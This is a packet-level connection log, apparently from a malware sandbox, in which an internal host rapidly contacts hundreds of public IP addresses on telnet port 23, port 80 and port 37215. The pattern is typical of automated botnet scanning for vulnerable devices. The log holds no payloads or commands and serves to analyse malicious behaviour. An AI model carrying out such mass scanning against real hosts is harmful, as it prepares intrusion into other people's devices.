Oct 17, 2024 02:19:42.957477093 CEST	20632	23	192.168.2.14	153.26.105.236
Oct 17, 2024 02:19:42.957480907 CEST	20632	23	192.168.2.14	47.110.104.103
Oct 17, 2024 02:19:42.957484961 CEST	20632	23	192.168.2.14	195.143.151.131
Oct 17, 2024 02:19:42.957493067 CEST	20632	23	192.168.2.14	119.253.138.57
Oct 17, 2024 02:19:42.957493067 CEST	20632	23	192.168.2.14	202.126.212.234
Oct 17, 2024 02:19:42.957494974 CEST	20632	23	192.168.2.14	129.106.178.139
Oct 17, 2024 02:19:42.957496881 CEST	20632	23	192.168.2.14	68.154.152.87
Oct 17, 2024 02:19:42.957496881 CEST	20632	23	192.168.2.14	125.164.169.175
Oct 17, 2024 02:19:42.957504988 CEST	20632	23	192.168.2.14	146.235.238.38
Oct 17, 2024 02:19:42.957510948 CEST	20632	23	192.168.2.14	112.95.54.114
Oct 17, 2024 02:19:42.957518101 CEST	20632	23	192.168.2.14	129.92.167.18
Oct 17, 2024 02:19:42.957518101 CEST	20632	23	192.168.2.14	153.233.140.2
Oct 17, 2024 02:19:42.957535028 CEST	20632	23	192.168.2.14	197.84.168.55
Oct 17, 2024 02:19:42.957680941 CEST	59430	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:42.960623026 CEST	60224	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:42.961313963 CEST	49828	37215	192.168.2.14	156.254.209.251
Oct 17, 2024 02:19:42.962179899 CEST	50646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:42.962588072 CEST	23	59430	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:42.964967966 CEST	40962	37215	192.168.2.14	41.19.23.201
Oct 17, 2024 02:19:42.965400934 CEST	55192	80	192.168.2.14	40.163.231.225
Oct 17, 2024 02:19:42.965693951 CEST	23	60224	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:42.965810061 CEST	60224	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:42.967894077 CEST	56800	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:42.968377113 CEST	60544	80	192.168.2.14	19.54.4.167
Oct 17, 2024 02:19:42.971354008 CEST	49498	37215	192.168.2.14	156.227.45.78
Oct 17, 2024 02:19:42.971752882 CEST	54670	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:42.972780943 CEST	37215	56800	41.252.236.8	192.168.2.14
Oct 17, 2024 02:19:42.972835064 CEST	56800	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:42.974484921 CEST	37564	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:42.974948883 CEST	36144	80	192.168.2.14	162.199.39.69
Oct 17, 2024 02:19:42.977338076 CEST	54304	37215	192.168.2.14	41.147.231.166
Oct 17, 2024 02:19:42.977860928 CEST	51522	80	192.168.2.14	194.17.79.67
Oct 17, 2024 02:19:42.980557919 CEST	54266	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:42.981055021 CEST	53534	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:42.983261108 CEST	44500	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:42.983711004 CEST	38772	80	192.168.2.14	58.167.14.24
Oct 17, 2024 02:19:42.985466003 CEST	37215	54266	41.4.146.210	192.168.2.14
Oct 17, 2024 02:19:42.985523939 CEST	54266	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:42.985960960 CEST	52488	37215	192.168.2.14	41.108.234.87
Oct 17, 2024 02:19:42.986491919 CEST	39398	80	192.168.2.14	198.157.80.7
Oct 17, 2024 02:19:42.989135027 CEST	40760	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:42.989658117 CEST	51526	80	192.168.2.14	189.109.155.141
Oct 17, 2024 02:19:42.992767096 CEST	48150	37215	192.168.2.14	156.219.176.62
Oct 17, 2024 02:19:42.993350029 CEST	52668	80	192.168.2.14	4.1.182.38
Oct 17, 2024 02:19:42.994100094 CEST	37215	40760	156.215.137.184	192.168.2.14
Oct 17, 2024 02:19:42.994157076 CEST	40760	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:42.995773077 CEST	49846	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:42.996417046 CEST	60608	80	192.168.2.14	43.21.92.170
Oct 17, 2024 02:19:42.999180079 CEST	50496	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:42.999733925 CEST	60416	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.002748013 CEST	20646	80	192.168.2.14	8.15.79.225
Oct 17, 2024 02:19:43.002751112 CEST	20646	80	192.168.2.14	126.228.8.21
Oct 17, 2024 02:19:43.002751112 CEST	20646	80	192.168.2.14	108.161.140.92
Oct 17, 2024 02:19:43.002753019 CEST	20646	80	192.168.2.14	157.186.246.191
Oct 17, 2024 02:19:43.002768993 CEST	20646	80	192.168.2.14	185.41.168.105
Oct 17, 2024 02:19:43.002774000 CEST	20646	80	192.168.2.14	42.162.12.255
Oct 17, 2024 02:19:43.002777100 CEST	20646	80	192.168.2.14	209.223.203.172
Oct 17, 2024 02:19:43.002778053 CEST	20646	80	192.168.2.14	140.229.14.78
Oct 17, 2024 02:19:43.002777100 CEST	20646	80	192.168.2.14	72.245.96.172
Oct 17, 2024 02:19:43.002783060 CEST	20646	80	192.168.2.14	142.191.15.233
Oct 17, 2024 02:19:43.002783060 CEST	20646	80	192.168.2.14	97.199.75.32
Oct 17, 2024 02:19:43.002789021 CEST	20646	80	192.168.2.14	130.23.233.76
Oct 17, 2024 02:19:43.002798080 CEST	20646	80	192.168.2.14	70.58.149.236
Oct 17, 2024 02:19:43.002798080 CEST	20646	80	192.168.2.14	110.211.95.231
Oct 17, 2024 02:19:43.002815962 CEST	20646	80	192.168.2.14	68.237.151.147
Oct 17, 2024 02:19:43.002816916 CEST	20646	80	192.168.2.14	148.162.167.196
Oct 17, 2024 02:19:43.002831936 CEST	20646	80	192.168.2.14	94.241.82.238
Oct 17, 2024 02:19:43.002832890 CEST	20646	80	192.168.2.14	163.166.253.218
Oct 17, 2024 02:19:43.002835989 CEST	20646	80	192.168.2.14	58.190.91.97
Oct 17, 2024 02:19:43.002836943 CEST	20646	80	192.168.2.14	105.243.92.185
Oct 17, 2024 02:19:43.002836943 CEST	20646	80	192.168.2.14	209.133.167.24
Oct 17, 2024 02:19:43.002837896 CEST	20646	80	192.168.2.14	34.49.1.111
Oct 17, 2024 02:19:43.002852917 CEST	20646	80	192.168.2.14	23.143.173.163
Oct 17, 2024 02:19:43.002854109 CEST	20646	80	192.168.2.14	190.7.253.195
Oct 17, 2024 02:19:43.002857924 CEST	20646	80	192.168.2.14	205.7.202.209
Oct 17, 2024 02:19:43.002871990 CEST	20646	80	192.168.2.14	110.111.142.153
Oct 17, 2024 02:19:43.002880096 CEST	20646	80	192.168.2.14	129.208.201.146
Oct 17, 2024 02:19:43.002880096 CEST	20646	80	192.168.2.14	95.18.247.118
Oct 17, 2024 02:19:43.002887011 CEST	20646	80	192.168.2.14	64.235.140.138
Oct 17, 2024 02:19:43.002891064 CEST	20646	80	192.168.2.14	51.144.125.80
Oct 17, 2024 02:19:43.002897978 CEST	20646	80	192.168.2.14	194.56.233.191
Oct 17, 2024 02:19:43.002902985 CEST	20646	80	192.168.2.14	154.145.51.45
Oct 17, 2024 02:19:43.002906084 CEST	20646	80	192.168.2.14	109.62.57.36
Oct 17, 2024 02:19:43.002918005 CEST	20646	80	192.168.2.14	34.43.35.220
Oct 17, 2024 02:19:43.002923012 CEST	20646	80	192.168.2.14	134.88.223.25
Oct 17, 2024 02:19:43.002923012 CEST	20646	80	192.168.2.14	5.44.53.56
Oct 17, 2024 02:19:43.002923012 CEST	20646	80	192.168.2.14	1.10.229.132
Oct 17, 2024 02:19:43.002923965 CEST	20646	80	192.168.2.14	23.81.96.159
Oct 17, 2024 02:19:43.002923965 CEST	20646	80	192.168.2.14	207.155.19.233
Oct 17, 2024 02:19:43.002931118 CEST	20646	80	192.168.2.14	150.225.144.24
Oct 17, 2024 02:19:43.002933979 CEST	20646	80	192.168.2.14	216.188.233.162
Oct 17, 2024 02:19:43.002937078 CEST	20646	80	192.168.2.14	92.168.41.226
Oct 17, 2024 02:19:43.002937078 CEST	20646	80	192.168.2.14	89.93.20.34
Oct 17, 2024 02:19:43.002945900 CEST	20646	80	192.168.2.14	187.60.207.165
Oct 17, 2024 02:19:43.002949953 CEST	20646	80	192.168.2.14	63.252.245.66
Oct 17, 2024 02:19:43.002950907 CEST	20646	80	192.168.2.14	193.84.71.93
Oct 17, 2024 02:19:43.002953053 CEST	20646	80	192.168.2.14	94.224.68.195
Oct 17, 2024 02:19:43.002953053 CEST	20646	80	192.168.2.14	63.55.191.25
Oct 17, 2024 02:19:43.002958059 CEST	20646	80	192.168.2.14	31.49.151.46
Oct 17, 2024 02:19:43.002964020 CEST	20646	80	192.168.2.14	92.104.11.124
Oct 17, 2024 02:19:43.002991915 CEST	20646	80	192.168.2.14	162.213.219.77
Oct 17, 2024 02:19:43.002994061 CEST	20646	80	192.168.2.14	129.40.196.92
Oct 17, 2024 02:19:43.002994061 CEST	20646	80	192.168.2.14	64.74.152.218
Oct 17, 2024 02:19:43.002996922 CEST	20646	80	192.168.2.14	129.3.161.161
Oct 17, 2024 02:19:43.002999067 CEST	20646	80	192.168.2.14	5.188.127.124
Oct 17, 2024 02:19:43.002999067 CEST	20646	80	192.168.2.14	31.13.160.112
Oct 17, 2024 02:19:43.002999067 CEST	20646	80	192.168.2.14	14.239.92.194
Oct 17, 2024 02:19:43.003004074 CEST	20646	80	192.168.2.14	203.57.225.166
Oct 17, 2024 02:19:43.003005981 CEST	20646	80	192.168.2.14	101.39.186.170
Oct 17, 2024 02:19:43.003005981 CEST	20646	80	192.168.2.14	65.44.102.78
Oct 17, 2024 02:19:43.003005981 CEST	20646	80	192.168.2.14	170.46.206.142
Oct 17, 2024 02:19:43.003005981 CEST	20646	80	192.168.2.14	19.29.206.0
Oct 17, 2024 02:19:43.003012896 CEST	20646	80	192.168.2.14	64.132.146.118
Oct 17, 2024 02:19:43.003012896 CEST	20646	80	192.168.2.14	180.246.222.175
Oct 17, 2024 02:19:43.003019094 CEST	20646	80	192.168.2.14	42.153.17.252
Oct 17, 2024 02:19:43.003030062 CEST	20646	80	192.168.2.14	94.43.117.175
Oct 17, 2024 02:19:43.003035069 CEST	20646	80	192.168.2.14	189.208.12.87
Oct 17, 2024 02:19:43.003036976 CEST	20646	80	192.168.2.14	179.228.196.103
Oct 17, 2024 02:19:43.003055096 CEST	20646	80	192.168.2.14	111.153.2.130
Oct 17, 2024 02:19:43.003057957 CEST	20646	80	192.168.2.14	143.208.213.85
Oct 17, 2024 02:19:43.003057957 CEST	20646	80	192.168.2.14	156.37.83.252
Oct 17, 2024 02:19:43.003065109 CEST	20646	80	192.168.2.14	133.151.84.209
Oct 17, 2024 02:19:43.003077030 CEST	20646	80	192.168.2.14	134.192.85.70
Oct 17, 2024 02:19:43.003078938 CEST	20646	80	192.168.2.14	207.76.167.203
Oct 17, 2024 02:19:43.003078938 CEST	20646	80	192.168.2.14	1.94.21.198
Oct 17, 2024 02:19:43.003082037 CEST	20646	80	192.168.2.14	150.201.56.118
Oct 17, 2024 02:19:43.003082991 CEST	20646	80	192.168.2.14	131.202.79.204
Oct 17, 2024 02:19:43.003082991 CEST	20646	80	192.168.2.14	185.137.86.166
Oct 17, 2024 02:19:43.003082037 CEST	20646	80	192.168.2.14	49.16.70.233
Oct 17, 2024 02:19:43.003087044 CEST	20646	80	192.168.2.14	19.128.78.118
Oct 17, 2024 02:19:43.003087044 CEST	20646	80	192.168.2.14	171.144.248.237
Oct 17, 2024 02:19:43.003087997 CEST	20646	80	192.168.2.14	40.175.170.141
Oct 17, 2024 02:19:43.003087997 CEST	20646	80	192.168.2.14	203.23.118.90
Oct 17, 2024 02:19:43.003108025 CEST	20646	80	192.168.2.14	183.198.100.87
Oct 17, 2024 02:19:43.003110886 CEST	20646	80	192.168.2.14	41.130.86.91
Oct 17, 2024 02:19:43.003114939 CEST	20646	80	192.168.2.14	163.234.170.235
Oct 17, 2024 02:19:43.003118038 CEST	20646	80	192.168.2.14	152.49.13.139
Oct 17, 2024 02:19:43.003134012 CEST	20646	80	192.168.2.14	2.102.103.183
Oct 17, 2024 02:19:43.003134966 CEST	20646	80	192.168.2.14	220.197.38.15
Oct 17, 2024 02:19:43.003134966 CEST	20646	80	192.168.2.14	38.233.220.183
Oct 17, 2024 02:19:43.003134966 CEST	20646	80	192.168.2.14	142.14.5.132
Oct 17, 2024 02:19:43.003138065 CEST	20646	80	192.168.2.14	220.87.201.18
Oct 17, 2024 02:19:43.003138065 CEST	20646	80	192.168.2.14	76.215.181.161
Oct 17, 2024 02:19:43.003151894 CEST	20646	80	192.168.2.14	42.200.138.214
Oct 17, 2024 02:19:43.003154039 CEST	20646	80	192.168.2.14	32.137.44.254
Oct 17, 2024 02:19:43.003156900 CEST	20646	80	192.168.2.14	61.22.161.171
Oct 17, 2024 02:19:43.003161907 CEST	20646	80	192.168.2.14	173.100.157.161
Oct 17, 2024 02:19:43.003161907 CEST	20646	80	192.168.2.14	175.42.124.229
Oct 17, 2024 02:19:43.003163099 CEST	20646	80	192.168.2.14	79.77.184.128
Oct 17, 2024 02:19:43.003175020 CEST	20646	80	192.168.2.14	113.255.7.188
Oct 17, 2024 02:19:43.003180981 CEST	20646	80	192.168.2.14	206.156.69.99
Oct 17, 2024 02:19:43.003181934 CEST	20646	80	192.168.2.14	17.103.96.12
Oct 17, 2024 02:19:43.003196001 CEST	20646	80	192.168.2.14	106.171.175.185
Oct 17, 2024 02:19:43.003199100 CEST	20646	80	192.168.2.14	182.152.246.95
Oct 17, 2024 02:19:43.003200054 CEST	20646	80	192.168.2.14	194.126.167.42
Oct 17, 2024 02:19:43.003200054 CEST	20646	80	192.168.2.14	54.153.246.124
Oct 17, 2024 02:19:43.003201008 CEST	20646	80	192.168.2.14	98.15.101.56
Oct 17, 2024 02:19:43.003211021 CEST	20646	80	192.168.2.14	213.119.114.108
Oct 17, 2024 02:19:43.003221989 CEST	20646	80	192.168.2.14	137.213.224.216
Oct 17, 2024 02:19:43.003222942 CEST	20646	80	192.168.2.14	166.252.81.143
Oct 17, 2024 02:19:43.003236055 CEST	20646	80	192.168.2.14	156.5.249.137
Oct 17, 2024 02:19:43.003242016 CEST	20646	80	192.168.2.14	213.205.255.65
Oct 17, 2024 02:19:43.003242016 CEST	20646	80	192.168.2.14	126.163.84.199
Oct 17, 2024 02:19:43.003242970 CEST	20646	80	192.168.2.14	211.11.39.15
Oct 17, 2024 02:19:43.003249884 CEST	20646	80	192.168.2.14	17.162.86.239
Oct 17, 2024 02:19:43.003251076 CEST	20646	80	192.168.2.14	162.113.141.76
Oct 17, 2024 02:19:43.003264904 CEST	20646	80	192.168.2.14	157.74.143.174
Oct 17, 2024 02:19:43.003268957 CEST	20646	80	192.168.2.14	49.12.198.33
Oct 17, 2024 02:19:43.003269911 CEST	20646	80	192.168.2.14	113.7.177.200
Oct 17, 2024 02:19:43.003273010 CEST	20646	80	192.168.2.14	162.240.5.83
Oct 17, 2024 02:19:43.003273964 CEST	20646	80	192.168.2.14	69.102.83.67
Oct 17, 2024 02:19:43.003273964 CEST	20646	80	192.168.2.14	36.216.231.227
Oct 17, 2024 02:19:43.003273964 CEST	20646	80	192.168.2.14	85.100.251.252
Oct 17, 2024 02:19:43.003281116 CEST	20646	80	192.168.2.14	110.63.123.255
Oct 17, 2024 02:19:43.003281116 CEST	20646	80	192.168.2.14	31.239.143.238
Oct 17, 2024 02:19:43.003289938 CEST	20646	80	192.168.2.14	146.212.225.172
Oct 17, 2024 02:19:43.003297091 CEST	20646	80	192.168.2.14	195.164.71.55
Oct 17, 2024 02:19:43.003313065 CEST	20646	80	192.168.2.14	14.5.210.188
Oct 17, 2024 02:19:43.003313065 CEST	20646	80	192.168.2.14	35.76.33.133
Oct 17, 2024 02:19:43.003317118 CEST	20646	80	192.168.2.14	83.139.108.92
Oct 17, 2024 02:19:43.003329039 CEST	20646	80	192.168.2.14	208.110.125.215
Oct 17, 2024 02:19:43.003329992 CEST	20646	80	192.168.2.14	50.123.169.178
Oct 17, 2024 02:19:43.003329992 CEST	20646	80	192.168.2.14	213.250.152.107
Oct 17, 2024 02:19:43.003329992 CEST	20646	80	192.168.2.14	169.125.62.105
Oct 17, 2024 02:19:43.003329992 CEST	20646	80	192.168.2.14	199.30.65.158
Oct 17, 2024 02:19:43.003339052 CEST	20646	80	192.168.2.14	212.221.245.107
Oct 17, 2024 02:19:43.003345966 CEST	20646	80	192.168.2.14	188.132.145.159
Oct 17, 2024 02:19:43.003350019 CEST	20646	80	192.168.2.14	141.187.7.225
Oct 17, 2024 02:19:43.003350019 CEST	20646	80	192.168.2.14	148.115.193.123
Oct 17, 2024 02:19:43.003359079 CEST	20646	80	192.168.2.14	39.192.130.37
Oct 17, 2024 02:19:43.003364086 CEST	20646	80	192.168.2.14	9.2.227.235
Oct 17, 2024 02:19:43.003364086 CEST	20646	80	192.168.2.14	220.29.12.39
Oct 17, 2024 02:19:43.003377914 CEST	20646	80	192.168.2.14	104.222.118.22
Oct 17, 2024 02:19:43.003377914 CEST	20646	80	192.168.2.14	186.36.180.151
Oct 17, 2024 02:19:43.003393888 CEST	20646	80	192.168.2.14	192.202.149.112
Oct 17, 2024 02:19:43.003393888 CEST	20646	80	192.168.2.14	70.235.171.41
Oct 17, 2024 02:19:43.003396988 CEST	20646	80	192.168.2.14	50.183.127.231
Oct 17, 2024 02:19:43.003400087 CEST	20646	80	192.168.2.14	70.233.239.237
Oct 17, 2024 02:19:43.003401041 CEST	20646	80	192.168.2.14	211.216.60.125
Oct 17, 2024 02:19:43.003403902 CEST	20646	80	192.168.2.14	200.158.26.31
Oct 17, 2024 02:19:43.003410101 CEST	20646	80	192.168.2.14	101.106.47.209
Oct 17, 2024 02:19:43.003431082 CEST	20646	80	192.168.2.14	213.147.201.110
Oct 17, 2024 02:19:43.003431082 CEST	20646	80	192.168.2.14	64.247.189.147
Oct 17, 2024 02:19:43.003433943 CEST	20646	80	192.168.2.14	208.135.112.71
Oct 17, 2024 02:19:43.003441095 CEST	20646	80	192.168.2.14	97.87.127.33
Oct 17, 2024 02:19:43.003447056 CEST	20646	80	192.168.2.14	223.211.78.168
Oct 17, 2024 02:19:43.003447056 CEST	20646	80	192.168.2.14	136.60.78.11
Oct 17, 2024 02:19:43.003453016 CEST	20646	80	192.168.2.14	211.21.69.136
Oct 17, 2024 02:19:43.003453016 CEST	20646	80	192.168.2.14	186.244.70.168
Oct 17, 2024 02:19:43.003457069 CEST	20646	80	192.168.2.14	8.33.37.173
Oct 17, 2024 02:19:43.003467083 CEST	20646	80	192.168.2.14	168.199.10.250
Oct 17, 2024 02:19:43.003469944 CEST	20646	80	192.168.2.14	113.63.192.249
Oct 17, 2024 02:19:43.003473997 CEST	20646	80	192.168.2.14	4.60.42.150
Oct 17, 2024 02:19:43.003477097 CEST	20646	80	192.168.2.14	4.147.255.35
Oct 17, 2024 02:19:43.003478050 CEST	20646	80	192.168.2.14	64.176.124.11
Oct 17, 2024 02:19:43.003482103 CEST	20646	80	192.168.2.14	95.202.233.29
Oct 17, 2024 02:19:43.003484964 CEST	20646	80	192.168.2.14	197.38.24.189
Oct 17, 2024 02:19:43.003489017 CEST	20646	80	192.168.2.14	223.151.129.130
Oct 17, 2024 02:19:43.003499985 CEST	20646	80	192.168.2.14	14.160.48.223
Oct 17, 2024 02:19:43.003500938 CEST	20646	80	192.168.2.14	207.86.105.45
Oct 17, 2024 02:19:43.003500938 CEST	20646	80	192.168.2.14	208.158.60.157
Oct 17, 2024 02:19:43.003509998 CEST	20646	80	192.168.2.14	145.69.78.146
Oct 17, 2024 02:19:43.003521919 CEST	20646	80	192.168.2.14	14.244.11.73
Oct 17, 2024 02:19:43.003525019 CEST	20646	80	192.168.2.14	160.83.104.106
Oct 17, 2024 02:19:43.003525972 CEST	20646	80	192.168.2.14	126.32.106.41
Oct 17, 2024 02:19:43.003529072 CEST	20646	80	192.168.2.14	149.8.162.69
Oct 17, 2024 02:19:43.003529072 CEST	20646	80	192.168.2.14	96.34.165.142
Oct 17, 2024 02:19:43.003539085 CEST	20646	80	192.168.2.14	130.218.65.180
Oct 17, 2024 02:19:43.003539085 CEST	20646	80	192.168.2.14	164.236.18.123
Oct 17, 2024 02:19:43.003546953 CEST	20646	80	192.168.2.14	105.252.231.75
Oct 17, 2024 02:19:43.003549099 CEST	20646	80	192.168.2.14	212.75.145.161
Oct 17, 2024 02:19:43.003551006 CEST	20646	80	192.168.2.14	110.136.153.80
Oct 17, 2024 02:19:43.003559113 CEST	20646	80	192.168.2.14	65.141.70.234
Oct 17, 2024 02:19:43.003565073 CEST	20646	80	192.168.2.14	85.121.187.54
Oct 17, 2024 02:19:43.003565073 CEST	20646	80	192.168.2.14	206.18.182.123
Oct 17, 2024 02:19:43.003581047 CEST	20646	80	192.168.2.14	202.74.21.245
Oct 17, 2024 02:19:43.003581047 CEST	20646	80	192.168.2.14	195.106.130.72
Oct 17, 2024 02:19:43.003582001 CEST	20646	80	192.168.2.14	2.5.176.104
Oct 17, 2024 02:19:43.003582001 CEST	20646	80	192.168.2.14	120.207.49.19
Oct 17, 2024 02:19:43.003585100 CEST	20646	80	192.168.2.14	60.87.22.41
Oct 17, 2024 02:19:43.003585100 CEST	20646	80	192.168.2.14	50.125.123.127
Oct 17, 2024 02:19:43.003591061 CEST	20646	80	192.168.2.14	181.187.102.141
Oct 17, 2024 02:19:43.003592968 CEST	20646	80	192.168.2.14	98.153.248.18
Oct 17, 2024 02:19:43.003601074 CEST	20646	80	192.168.2.14	59.153.255.183
Oct 17, 2024 02:19:43.003614902 CEST	20646	80	192.168.2.14	25.45.75.206
Oct 17, 2024 02:19:43.003631115 CEST	20646	80	192.168.2.14	166.103.102.34
Oct 17, 2024 02:19:43.003631115 CEST	20646	80	192.168.2.14	175.25.3.99
Oct 17, 2024 02:19:43.003631115 CEST	20646	80	192.168.2.14	5.189.26.205
Oct 17, 2024 02:19:43.003631115 CEST	20646	80	192.168.2.14	86.56.76.10
Oct 17, 2024 02:19:43.003631115 CEST	20646	80	192.168.2.14	156.94.237.75
Oct 17, 2024 02:19:43.003631115 CEST	20646	80	192.168.2.14	122.18.115.84
Oct 17, 2024 02:19:43.003647089 CEST	20646	80	192.168.2.14	173.96.186.218
Oct 17, 2024 02:19:43.003648043 CEST	20646	80	192.168.2.14	73.188.138.105
Oct 17, 2024 02:19:43.003654957 CEST	20646	80	192.168.2.14	95.51.177.251
Oct 17, 2024 02:19:43.003654957 CEST	20646	80	192.168.2.14	96.20.46.71
Oct 17, 2024 02:19:43.003654957 CEST	20646	80	192.168.2.14	143.165.99.250
Oct 17, 2024 02:19:43.003655910 CEST	20646	80	192.168.2.14	209.207.88.223
Oct 17, 2024 02:19:43.003655910 CEST	20646	80	192.168.2.14	108.249.68.119
Oct 17, 2024 02:19:43.003657103 CEST	20646	80	192.168.2.14	118.174.29.99
Oct 17, 2024 02:19:43.003662109 CEST	20646	80	192.168.2.14	116.82.164.118
Oct 17, 2024 02:19:43.003679991 CEST	20646	80	192.168.2.14	204.176.194.7
Oct 17, 2024 02:19:43.003679991 CEST	20646	80	192.168.2.14	170.77.169.125
Oct 17, 2024 02:19:43.003684998 CEST	20646	80	192.168.2.14	165.93.238.193
Oct 17, 2024 02:19:43.003684998 CEST	20646	80	192.168.2.14	153.12.194.139
Oct 17, 2024 02:19:43.003693104 CEST	20646	80	192.168.2.14	65.63.58.179
Oct 17, 2024 02:19:43.003695011 CEST	20646	80	192.168.2.14	194.222.79.213
Oct 17, 2024 02:19:43.003695965 CEST	20646	80	192.168.2.14	183.188.118.149
Oct 17, 2024 02:19:43.003710032 CEST	20646	80	192.168.2.14	153.143.39.42
Oct 17, 2024 02:19:43.003710032 CEST	20646	80	192.168.2.14	116.253.17.26
Oct 17, 2024 02:19:43.003710032 CEST	20646	80	192.168.2.14	204.7.144.57
Oct 17, 2024 02:19:43.003714085 CEST	20646	80	192.168.2.14	36.199.188.81
Oct 17, 2024 02:19:43.003726006 CEST	20646	80	192.168.2.14	150.104.81.45
Oct 17, 2024 02:19:43.003741980 CEST	20646	80	192.168.2.14	213.188.111.89
Oct 17, 2024 02:19:43.003745079 CEST	20646	80	192.168.2.14	82.194.190.42
Oct 17, 2024 02:19:43.003745079 CEST	20646	80	192.168.2.14	46.68.181.32
Oct 17, 2024 02:19:43.003757954 CEST	20646	80	192.168.2.14	220.83.19.78
Oct 17, 2024 02:19:43.003760099 CEST	20646	80	192.168.2.14	58.94.86.13
Oct 17, 2024 02:19:43.003760099 CEST	20646	80	192.168.2.14	91.175.87.53
Oct 17, 2024 02:19:43.003765106 CEST	20646	80	192.168.2.14	78.115.19.110
Oct 17, 2024 02:19:43.003767014 CEST	20646	80	192.168.2.14	125.207.232.9
Oct 17, 2024 02:19:43.003793001 CEST	20646	80	192.168.2.14	57.191.62.227
Oct 17, 2024 02:19:43.003801107 CEST	20646	80	192.168.2.14	101.178.26.33
Oct 17, 2024 02:19:43.003802061 CEST	20646	80	192.168.2.14	208.226.181.242
Oct 17, 2024 02:19:43.003802061 CEST	20646	80	192.168.2.14	175.34.148.7
Oct 17, 2024 02:19:43.003802061 CEST	20646	80	192.168.2.14	180.204.164.156
Oct 17, 2024 02:19:43.003802061 CEST	20646	80	192.168.2.14	221.86.166.55
Oct 17, 2024 02:19:43.003804922 CEST	20646	80	192.168.2.14	117.255.65.65
Oct 17, 2024 02:19:43.003804922 CEST	20646	80	192.168.2.14	41.191.92.238
Oct 17, 2024 02:19:43.003804922 CEST	20646	80	192.168.2.14	47.89.112.78
Oct 17, 2024 02:19:43.003814936 CEST	20646	80	192.168.2.14	183.194.129.214
Oct 17, 2024 02:19:43.003817081 CEST	20646	80	192.168.2.14	122.129.152.86
Oct 17, 2024 02:19:43.003818989 CEST	20646	80	192.168.2.14	38.235.81.242
Oct 17, 2024 02:19:43.003818989 CEST	20646	80	192.168.2.14	43.60.86.193
Oct 17, 2024 02:19:43.003819942 CEST	20646	80	192.168.2.14	163.179.246.198
Oct 17, 2024 02:19:43.003820896 CEST	20646	80	192.168.2.14	176.146.236.146
Oct 17, 2024 02:19:43.003818989 CEST	20646	80	192.168.2.14	221.164.22.38
Oct 17, 2024 02:19:43.003819942 CEST	20646	80	192.168.2.14	221.18.235.11
Oct 17, 2024 02:19:43.003839016 CEST	20646	80	192.168.2.14	76.37.5.70
Oct 17, 2024 02:19:43.003839016 CEST	20646	80	192.168.2.14	117.245.168.97
Oct 17, 2024 02:19:43.003842115 CEST	20646	80	192.168.2.14	128.208.203.206
Oct 17, 2024 02:19:43.003842115 CEST	20646	80	192.168.2.14	118.110.71.236
Oct 17, 2024 02:19:43.003861904 CEST	20646	80	192.168.2.14	42.194.255.128
Oct 17, 2024 02:19:43.003864050 CEST	20646	80	192.168.2.14	65.175.45.213
Oct 17, 2024 02:19:43.003865957 CEST	20646	80	192.168.2.14	110.218.126.224
Oct 17, 2024 02:19:43.003865957 CEST	20646	80	192.168.2.14	18.116.0.236
Oct 17, 2024 02:19:43.003865957 CEST	20646	80	192.168.2.14	101.144.23.64
Oct 17, 2024 02:19:43.003868103 CEST	20646	80	192.168.2.14	176.119.159.142
Oct 17, 2024 02:19:43.003868103 CEST	20646	80	192.168.2.14	173.174.139.98
Oct 17, 2024 02:19:43.003871918 CEST	20646	80	192.168.2.14	182.156.64.20
Oct 17, 2024 02:19:43.003874063 CEST	20646	80	192.168.2.14	106.80.18.165
Oct 17, 2024 02:19:43.003875017 CEST	20646	80	192.168.2.14	161.95.97.223
Oct 17, 2024 02:19:43.003890038 CEST	20646	80	192.168.2.14	9.95.134.23
Oct 17, 2024 02:19:43.003890038 CEST	20646	80	192.168.2.14	61.68.173.108
Oct 17, 2024 02:19:43.003895044 CEST	20646	80	192.168.2.14	211.240.111.235
Oct 17, 2024 02:19:43.003905058 CEST	20646	80	192.168.2.14	25.50.244.245
Oct 17, 2024 02:19:43.003906012 CEST	20646	80	192.168.2.14	51.169.139.84
Oct 17, 2024 02:19:43.003912926 CEST	20646	80	192.168.2.14	137.211.44.64
Oct 17, 2024 02:19:43.003912926 CEST	20646	80	192.168.2.14	135.166.111.211
Oct 17, 2024 02:19:43.003912926 CEST	20646	80	192.168.2.14	130.29.243.22
Oct 17, 2024 02:19:43.003912926 CEST	20646	80	192.168.2.14	4.235.131.78
Oct 17, 2024 02:19:43.003916979 CEST	20646	80	192.168.2.14	203.184.123.44
Oct 17, 2024 02:19:43.003916979 CEST	20646	80	192.168.2.14	217.133.230.78
Oct 17, 2024 02:19:43.003918886 CEST	20646	80	192.168.2.14	34.151.153.33
Oct 17, 2024 02:19:43.003918886 CEST	20646	80	192.168.2.14	60.211.228.132
Oct 17, 2024 02:19:43.003921032 CEST	20646	80	192.168.2.14	160.42.33.48
Oct 17, 2024 02:19:43.003922939 CEST	20646	80	192.168.2.14	110.150.178.217
Oct 17, 2024 02:19:43.003922939 CEST	20646	80	192.168.2.14	104.59.113.223
Oct 17, 2024 02:19:43.003927946 CEST	20646	80	192.168.2.14	222.35.162.49
Oct 17, 2024 02:19:43.003927946 CEST	20646	80	192.168.2.14	202.249.165.170
Oct 17, 2024 02:19:43.003932953 CEST	20646	80	192.168.2.14	162.103.7.26
Oct 17, 2024 02:19:43.003950119 CEST	20646	80	192.168.2.14	76.163.184.105
Oct 17, 2024 02:19:43.003954887 CEST	20646	80	192.168.2.14	157.103.193.58
